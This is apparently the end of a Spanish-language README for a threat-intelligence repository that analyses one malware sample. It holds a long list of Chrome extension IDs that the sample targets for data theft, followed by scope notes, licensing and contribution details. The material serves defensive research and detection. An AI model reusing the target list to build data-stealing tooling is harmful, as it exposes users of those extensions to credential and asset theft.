hnfanknocfeofbddgcijnmhnfnkdnaad  hnhobjmcibchnmglfbldbfabcgaknlkj
hpbgcgmiemanfelegbndmhieiigkackl  hpclkefagolihohboafpheddmmgdffjm
hpglfhgfnhbgpjdenjgmdgoeiappafln  hpjiiechbbhefmpggegmahejiiphbmij
ibjflpbmadchofnbpppegdbnifdgincp  ibljocddagjghmlpgihahamcghfggcjc
ibnejdfjmmkpcnlpebklmnkoeoihofec  icmkfkmjoklfhlfdkkkgpnpldkgdmhoe
idnnbdplmphpflfnlkomgpfbpcgelopg  idpfplgehakelkdadhcacicjjbemjbke
ifckdpamphokdglkkdomedpdegcjhjdp  ifclboecfhkjbpmhgehodcjpciihhmif
ifgjklbmlnimhldbmddmkdhoahfocppf  ikcpjgihikfinlkobegiiogdigohmfam
ilhaljfiglknggcoegeknjghdgampffk  imlcamfeniaidioeflifonfjeeppblda
iokeahhehimjnekafflcihljlcjccdbe  jaooiolkmfcmloonphpiiogkfckgciom
jbdaocneiiinmjbjlgalhcelgbejmnid  jccapkebeeiajkkdemacblkjhhhboiek
jfdlamikmbghhapbgfoogdffldioobgl  jfflgdhkeohhkelibbefdcgjijppkdeb
jhjebgdkdemiibiibgickfkilfpbelaj  jhnilbocebbmeelaolalihfokjgdmogb
jicpmdkafljkkppgpellcjhfhdmjpogm  jiepnaheligkibgcjgjepjfppgbcghmp
jiidiaalihmmhddjgbnbgdfflelocpak  jjkhekbaikcnpnhflnnlnbonkkobkiim
jljjeghmeihjegifdhbghcoihdiegkkl  jmgipjhlmabpmcikcahmmgleghckefjg
jnggcdmajcokeakpdeagdhphmkioabem  jnldfbidonfeldmalbflbmlebbipcnle
jnlgamecbpmbajjfhmmmlhejkemejdma  jojhfeoedkpkglbfimdfabpdfjaoolaf
kdgponmicjmjiejhifbjgembdcaclcib  keenhcnmdmjjhincpilijphpiohdppno
kfdniefadaanbjodldohaedphafoffoh  kgdijkcfiglijhaglibaidbipiejjfdp
khgocmkkpikpnmmkgmdnfckapcdkgfaf  khpkpbbcccdmmclmpigdgddabeilkdpd
kilnpioakcdndlodeeceffgjdpojajlo  kjjebdkfeagdoogagbhepmbimaphnfln
kkpehldckknjffeakihjajcjccmcjflh  kkpllbgjhchghjapjbinnoddmciocphm
kkpllkodjeloidieedojogacfhpaihoh  klghhnkeealcohjjanjjdaeeggmfmlpl
kmphdnilpmdejikjdnlbcnmnabepfgkh  kncchdigobghenbbaddojjnnaogfppfj
kolfcecahpbgbilkdkalabnfjjklkkae  kpfopkelmapcoipemfendmdcghnegimn
kppfdiipphfccemcignhifpjkapfbihd  kppgpfphbmbcgeglphjnhnhibonmebkn
lccbohhgfkdikahanoclbdmaolidjdfl  ldcihfaojdpmhjkhioilfjjckehehddg
lfmmjkfllhmfmkcobchabopkcefjkoip  lgmpcpglpngdoalbgeoldeajfclnhafa
lkpmkhpnhknhmibgnmmhdhgdilepfghe  llakdhpogpnejheknjbhbadoaomejgbi
lmkncnlpeipongihbffpljgehamdebgi  lnnnmfcpbkafcpgdilckhmhbkkbpkmid
loinekcabhlmhjjbocijdoimmejangoa  lpfcbjknijpeeillifnkikgncikgfhdo
lpilbniiabackdjcionkobglmddfbcjo  magbanejlegnbcppjljfhnmfmghialkl
mapbhaebnddapnmifbbkgeedkeplgjmf  mcbigmjiafegjnnogedioegffbooigli
mcohilncbfahbmgdjkbpemcciiolgcge  mdjjoodeandllhefapdpnffjolechflh
mdjmfdffdcmnoblignmgpommbefadffd  mdnaglckomeedfbogeajfajofmfgpoae
mfgccjchihfkkindfppnaooecgfneiii  mfiealgchgibibbamfjebflnfjihfedk
mgbfflhghaohmaecmaggieniidindaoc  mgfbabcnedcejkfibpafadgkhmkifhbd
mgffkfbidihjpoaomajlbgchddlicgpn  mjgkpalnahacmhkikiommfiomhjipgjn
mkchoaaiifodcflmbaphdgeidocajadp  mkjjflkhdddfjhonakofipfojoepfndk
mkpegjkblkkefacfnmkajcjmabijhclg  mlbnicldlpdimbjdcncnklfempedeipj
mlhakagmgkmonhdonhkpjeebfphligng  mmmjbcfofconkannjonfmjjajpllddbg
mnfifefkajgofkcjkemidiaecocnkjeh  mnnkpffndmickbiakofclnpoiajlegmg
modjfdjcodmehnpccdjngmdfajggaoeh  nanjmdknhkinifnkgdcggcfnhdaammmj
nankopfjhdflikcokhgohiaoehnjfako  nbdhibgjnjpnkajaghbffjbkcgljfgdi
nbdpmlhambbdkhkmbfpljckjcmgibalo  nebnhfamliijlghikdgcigoebonmoibm
nfaepmamdapehcbedhejbjcpnlcldodi  nfinomegcaccbhchhgflladpfbajihdf
ngakogceekkandcbkniokoghdckjhhok  nglnaekfdaelelcaokeemlnopjhekdkj
nhlnehondigmgckngjomcpcefcdplmgc  nhnkbkgjikgcigadomkphalanndcapjk
niiaamnmgebpeejeemoifgdndgeaekhe  njoljnomkdoakfphjbapdopdcneceeaf
nkbihfbeogaeaoehlefnkodbefgpgknn  nkddgncdjgjfcddamfgcmfnlhccnimig
nknhiehlklippafakaeklbeglecifhad  nlbmnnijcnlegkjjpcfjclmcfggfefdm
nlgnepoeokdfodgjkjiblkadkjbdfmgd  nopnfnlbinpfoihclomelncopjiioain
nphplpgoakhhjchkkhmiggakijnkhfnd  ocjdpmoallmgmjbbogfiiaofphbjgchh
ocjobpilfplciaddcbafabcegbilnbnb  ocmccklecaalljlflmclidjeclpcpdim
odbfpeeihdkbihmopkbjmoonfanlbfcl  oehdbmfbnjnpahadljbdcjndmepmgjgl
ofeeamlegilfbjlgbephmdhchpblfigo  ohjgojhmjldjfiningdelbffpnddmiphh
ojggmchlghnjlapmfbnjholfjkiidbch  oklkeijlcjcpbokmkmnjepjhnggkfkcl
oldojieloelkkfeacfinhcngmbkepnlm  olgpchjlegmakkhfbahgnjojlefnealp
olkbchllhcflpbjfgagahpkjnjioiedg  omaabbefbmiijedngplfjmnooppbclkk
omajpeaffjgmlpmhbfdjepdejoemifpe  onhogfjeacnfoofkfgppdlbmlmnplgbn
ooiepdgjjnhcmlaobfinbomgebfgablh  ookjlbkiijinhpmnjffcofjonbfbgaoc
opcgpfmipidbgpenhmajoajpbobppdil  oponnjpnbhdmohlkonljdfhbeibljfoa
oppceojapmdmhpnmjpballbbdclocdhj  panpgppehdchfphcigocleabcmcgfoca
pdadjkfkgcafgbceimcpbkalnfnepbnk  pdgbckgdncnhihllonhnjbdoighgpimk
pdliaogehgdbhbnmkklieghmmjkpigpa  pdlocjdlejekdbpghdcmedeacpkfiiof
peigonhbenoefaeplkpalmafieegnapj  penjlddjkjgpnkllboccdgccekpkcbin
pgiaagfkgcbnmiiolekcfmljdagdhlcm  pgojdfajgcjjpjnbpfaelnpnjocakldb
phkbamefinggmakgklpkljjmgibohnba  pmmbeeacafhbpgmlkacpadheejlhhkbf
pnndplcbkakcplkjnolgbkdgjikjednm  pnphepacpjpklpbacfmebicbgndobakn
pocmplpaccanhmnllbbkpgfliimjljgo  pogabilnghhbafaheaepaaeopjpleimd
ppbibelpcjmhbdihakflkdcoccbgbkpo  ppdadbejkmjnefldpcdjhnkpbjkikoip

Alcance y limitaciones

  • Este repositorio documenta el análisis estático y descifrado de una única muestra de malware y su configuración incrustada.
  • La atribución de la campaña es analítica, basada en la infraestructura recuperada y la superposición de TTP; no es una declaración de atribución de aplicación de la ley.
  • Los identificadores de extensiones de Chrome listados identifican extensiones legítimas objetivo de robo de datos, no extensiones maliciosas.
  • Las reglas de detección deben ser validadas y ajustadas en el entorno de destino antes del despliegue en producción.
  • El paquete STIX sigue STIX 2.1 pero utiliza identificadores simplificados para facilitar la lectura; vuelva a generar UUIDs antes de importar a plataformas CTI de producción si se requiere desconflicción.

Historial de versiones

Consulte CHANGELOG.md para actualizaciones versionadas.

Contribuciones

Consulte CONTRIBUTING.md para las directrices, plantillas de incidencias y la lista de verificación de PR.

Licencia

El texto de análisis y los scripts se publican bajo la Licencia MIT. Las listas de IOCs y el contenido de inteligencia de amenazas se proporcionan con fines defensivos; la reutilización en productos comerciales está permitida bajo los términos de la licencia.


Ingeniería inversa independiente en un entorno aislado. La configuración cifrada fue recuperada mediante análisis estático y emulación de CPU por helper. Consulte scripts/decrypt_all.py y SECURITY.md.

Descargar herramienta